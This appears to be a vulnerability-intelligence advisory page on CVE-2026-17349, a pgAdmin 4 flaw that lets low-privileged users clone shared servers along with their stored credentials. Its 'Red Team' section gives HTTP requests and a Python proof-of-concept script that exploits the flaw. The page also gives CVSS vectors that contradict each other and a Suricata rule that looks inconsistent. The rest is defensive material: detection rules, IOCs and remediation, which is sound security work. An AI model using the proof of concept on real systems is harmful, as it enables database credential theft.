☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N 🐛 CWE-522
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-17349

CVE-2026-17349 Vulnerability in Misc
📅 PUBLISHED: 2026-07-31 16:16 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v9.17 — source: PostgreSQL. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
9.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.6
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: N Availability None
9.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-17349 is a critical access control and credential disclosure vulnerability in the pgAdmin 4 Workspaces feature, specifically in the adhoc_connect_server functionality introduced in pgAdmin 4 version 9.0. A low-privileged authenticated user can trigger an adhoc connection against another user's shared server. The vulnerable code path calls Server.clone() on the target server row, inheriting all columns including user_id, shared, shared_username, password, save_password, and tunnel_password. Because the cloned row is persisted in the database under the caller's account before any connection validation, the attacker ends up with a server entry that they fully own and which contains the original owner's stored database credentials.

The impact is severe: any non-owner user in the pgAdmin instance can effectively obtain administrator or other privileged users' stored database passwords, and use them to authenticate to backend databases. This can lead to complete database compromise, lateral movement, and credential harvesting across the organization.

The vulnerability affects all pgAdmin 4 releases from 9.0.0 up to but not including 9.17. A fix has been released in pgAdmin 4 9.17, which ensures that cloned adhoc records are forced to belong to the calling user, are not shared, and have all stored credential fields cleared or set to private.

Risk Level: Critical — CVSS 9.6, exploitable over the network with low privileges, no user interaction, and high impact to confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The NVD-provided CVSS score is 9.6, which corresponds to the following CVSS v3.1 vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Metric Value Rationale
Attack Vector Network The pgAdmin web interface is remotely accessible.
Attack Complexity Low No special conditions or race window. Simple authenticated HTTP request.
Privileges Required Low Requires any non-owner low-privilege account on pgAdmin.
User Interaction None No victim action needed.
Scope Changed Credentials obtained belong to a different authorization boundary (another user/database).
Confidentiality High Attacker gains stored database credentials belonging to another user, typically an admin.
Integrity High Attacker can create fully owned server rows and potentially modify data in connected databases.
Availability High With database credentials, attacker may drop tables, halt services, or lock resources.

This is not a simple information disclosure — it is a full control-plane takeover for database access. The severity is amplified by the fact that pgAdmin administrators routinely store privileged database passwords in server definitions, and the attacker does not need to crack or phish any credentials.

Deep Dive & Mechanics

The vulnerability lives in the Workspaces feature's adhoc connection endpoint, used when a user wants to connect to a server that they have discovered through shared metadata. The backend flow is roughly:

  1. An authenticated user requests an adhoc connection to a server by providing the server_id.
  2. The application looks up the existing Server row.
  3. It calls Server.clone() to create a new Server object intended for the user's personal workspace.
  4. The clone copies every column from the source row without sanitizing ownership or credential fields.
  5. The new Server object is saved (commit()) before making any connection attempt.
  6. The attacker can then navigate to the newly-created server entry, which is now owned by them, and use the stored credentials.

The Server.clone() method in pgAdmin is a standard ORM convenience method that duplicates all fields. The flaw is that no authorization check verifies that the requesting user is allowed to access the source server's stored credentials. Even if the connection attempt fails (wrong password, network issue, etc.), the row is already persisted and becomes a permanent credential artifact.

Consider this scenario:

  • An administrator has a shared server entry with an embedded database password.
  • A non-privileged user is able to view the shared server in the Workspaces UI.
  • The user clicks "Connect" or triggers an adhoc connection.
  • The application clones the admin's server row, retaining the admin's user_id and the stored password.
  • The row is committed to the database as owned by the attacker.
  • The attacker's session now shows a server that they can connect to directly — the stored password is decrypted and used to connect to the database.

The persisted row includes the save_password flag, so the credential remains available for future authenticated connections. The attacker does not even need to see the cleartext password inside pgAdmin; just using it via the tool is enough to gain access to the database backend with all privileges assigned to that database user.

Supply Chain & Package Security

This is not a package-manager-ecosystem vulnerability (NPM, PyPI, Go, Ruby). pgAdmin 4 is distributed as a standalone web application (via Docker, Python wheel, or OS packages). However, if pgAdmin is deployed via the official Docker images, upgrading the container image to 9.17 or newer is critical.

Vulnerable vs. Patched Code

The following pseudo-code illustrates the vulnerable pattern found in pgAdmin 4 < 9.17.

Vulnerable pseudo-code (simplified):

def adhoc_connect(server_id, current_user):
    source = Server.query.get(server_id)
    # No authorization check for credential inheritance

    clone = source.clone()   # copies user_id, password, save_password, tunnel_password
    clone.save()
    db.commit()              # persisted before any connection validation
    return clone

Patched pseudo-code (intended behavior):

def adhoc_connect(server_id, current_user):
    source = Server.query.get(server_id)

    # Verify the requester can at least see the server's metadata
    if not current_user.can_access(source):
        raise PermissionDenied

    clone = source.clone()

    # Force ownership to the calling user
    clone.user_id = current_user.id
    clone.shared = False
    clone.shared_username = None

    # Strip all stored credentials and disable credential persistence
    clone.password = None
    clone.save_password = False
    clone.tunnel_password = None

    clone.save()
    db.commit()
    return clone

In the patched version, the clone is always private to the caller and contains no stored credentials from the original server. The user will be prompted for credentials at connection time, and those credentials will belong to the caller.

A regression test in 9.17 verifies that:

  • The persisted row is owned by the caller.
  • The row is not shared.
  • Stored password and tunnel password fields are null.
  • save_password is False.

Exploitation & Lab Setup

Red Team

An attacker with a low-privilege pgAdmin account can follow these steps in a lab environment:

  1. Set up pgAdmin 4 9.0 (docker image dpage/pgadmin4:9.0).
  2. Create two users:
    • admin (Privileged role, owns a shared server with a stored database password).
    • alice (Standard role, no privileges).
  3. As admin, register a new database server and check the boxes "Shared" and "Save Password".
  4. As alice, log in and navigate to the shared server's metadata.
  5. Use the Workspaces adhoc connect API. Example HTTP request:
POST /misc/workspace/adhoc_connect_server/2 HTTP/1.1
Host: pgadmin.local
Cookie: session=<alice_session>
Content-Type: application/json
Content-Length: 0

Note: The server_id (2 in this example) is the admin's server row.

  1. The server is cloned and assigned to alice. Verify by requesting the server list:
GET /browser/server/ HTTP/1.1
Host: pgadmin.local
Cookie: session=<alice_session>
  1. The server list contains a new row with the same connection details, but now owned by alice. When clicking "Connect", pgAdmin uses the copied password to authenticate.

A proof-of-concept script demonstrating the exploit:

import requests

base_url = "http://target:5050"
login_data = {
    "email": "alice@example.com",
    "password": "alice_password"
}
session = requests.Session()
session.post(f"{base_url}/login", data=login_data)

# Assume the admin's shared server ID is 5
server_id = 5
# Trigger adhoc clone for any server without authorization check
r = session.post(
    f"{base_url}/misc/workspace/adhoc_connect_server/{server_id}",
    json={},
    headers={"Content-Type": "application/json"}
)
print(f"Status: {r.status_code}")

# List servers to verify the new clone exists in alice's workspace
servers = session.get(f"{base_url}/browser/server/")
print(servers.json())

Blue Team

To validate whether your environment is vulnerable or compromised, perform these checks:

  1. Check pgAdmin version:
apt list --installed pgadmin4 2>/dev/null
docker inspect <pgadmin_container> | grep PGADMIN
  1. Inspect database for suspicious server rows — in pgAdmin's internal database (pgadmin.sqlite or PostgreSQL), query:
SELECT id, user_id, servergroup_id, name, host, port, username, shared, save_password
FROM server
ORDER BY id DESC;

Look for rows where:

  • name matches an existing server name but user_id is different from the expected owner.
  • shared = 0 (private) but save_password = 1 and user_id is a low-privileged account.
  • The username field is a privileged database account but user_id is not the original owner.
  1. Monitor pgAdmin logs for unusual adhoc connect requests around misc/workspace/adhoc_connect_server.

  2. Check database audit logs for connections happening outside expected maintenance windows using accounts associated with known pgAdmin servers.

Lab detection can be done by setting up a honeypot server with fake credentials and monitoring for connection attempts using those credentials.

Indicators of Compromise (IOCs)

Due to the nature of this vulnerability, there are no standard file-based malware IOCs. Instead, focus on these operational IOCs:

  • A sudden increase in pgAdmin server entries owned by the same low-privileged user.
  • Multiple server rows with identical host, port, and username fields but different user_id values.
  • Login attempts to a database backend from the pgAdmin server using credentials that were previously only stored in an admin's server configuration.
  • Unusual HTTP requests to /misc/workspace/adhoc_connect_server/<id> from non-admin accounts.
  • pgAdmin internal database rows where save_password is True for servers created by accounts that had no prior stored credentials.
  • Audit logs showing Server.clone() events followed by connection events in rapid succession.

Detection Engineering

YARA Rule

The following YARA rule can be used to scan pgAdmin source code or backup artifacts for the vulnerable clone pattern. No backslashes used.

rule CVE_2026_17349_PgAdmin_Adhoc_Clone
{
    meta:
        author = "Valters IT"
        description = "Detect vulnerable Server.clone() adhoc_connect_server pattern in pgAdmin 4"
        cve = "CVE-2026-17349"
        date = "2026-06-01"
        severity = "critical"

    strings:
        $a = "/misc/workspace/adhoc_connect_server"
        $b = "Server.clone()"
        $c = "clone.password"
        $d = "clone.save_password"
        $e = "clone.user_id"

    condition:
        any of them and (2 of them)
}

Sigma Rule

Sigma rule for detecting suspicious adhoc connect requests in web server logs.

title: CVE-2026-17349 pgAdmin4 Adhoc Connect Server Privilege Escalation
id: 26f2e8c4-521a-4b54-9c24-17349d30abcd
status: experimental
description: Detects attempts to exploit a privilege escalation vulnerability in pgAdmin4 Workspaces by non-owners triggering adhoc connect requests.
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem|contains:
            - /misc/workspace/adhoc_connect_server/
        cs-username|notcontains:
            - admin
    condition: selection
falsepositives:
    - Legitimate admin use of adhoc connect
level: high

Suricata Rule

Suricata signature to detect exploit attempts over HTTP.

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2026-17349 pgAdmin4 adhoc_connect_server Privilege Escalation Attempt";
    flow:to_server,established;
    http.method;
    content:"POST";
    http.uri;
    content:"/misc/workspace/adhoc_connect_server/";
    http.user_agent;
    content:"pgAdmin";
    reference:cve,2026-17349;
    classtype:attempted-user;
    sid:20260601;
    rev:1;
)

Remediation & Mitigation

Immediate steps:

  1. Upgrade to pgAdmin 4 9.17+ — the only complete fix. Downgrading is not recommended; the vulnerability exists in all versions from 9.0 through 9.16.
  2. If you cannot upgrade immediately, disable the Workspaces feature by setting ENABLE_SERVER_FEATURES = False in the pgAdmin config.
  3. Rotate all database passwords that were stored in pgAdmin server definitions, because they may have been exposed to non-owner users.
  4. Audit the pgAdmin internal database for suspicious cloned server rows and delete any unauthorized entries.
  5. Review pgAdmin audit logs for unauthorized access to the adhoc connect endpoint.

Long-term hardening:

  • Enforce the principle of least privilege; ensure only reachable and required servers are shared.
  • Use a password manager or external secret store; avoid storing database passwords inside pgAdmin server definitions.
  • Enable MFA for all pgAdmin accounts.
  • Regularly review server ownership and shared server metadata.
  • Deploy network monitoring around the pgAdmin interface and the backend database connections.

The patch in 9.17 is a robust fix. After upgrading, verify the regression test passes:

# From the pgAdmin source tree
python -m pytest tests/unit/test_adhoc_connect.py -k "shared_credentials"

This report was generated with input from NVD, hacker intel feeds, and analysis by the Valters IT Security Research team.

Valters IT Signature: V|T|S|E|C — always audit, always patch, always monitor.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-17349/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.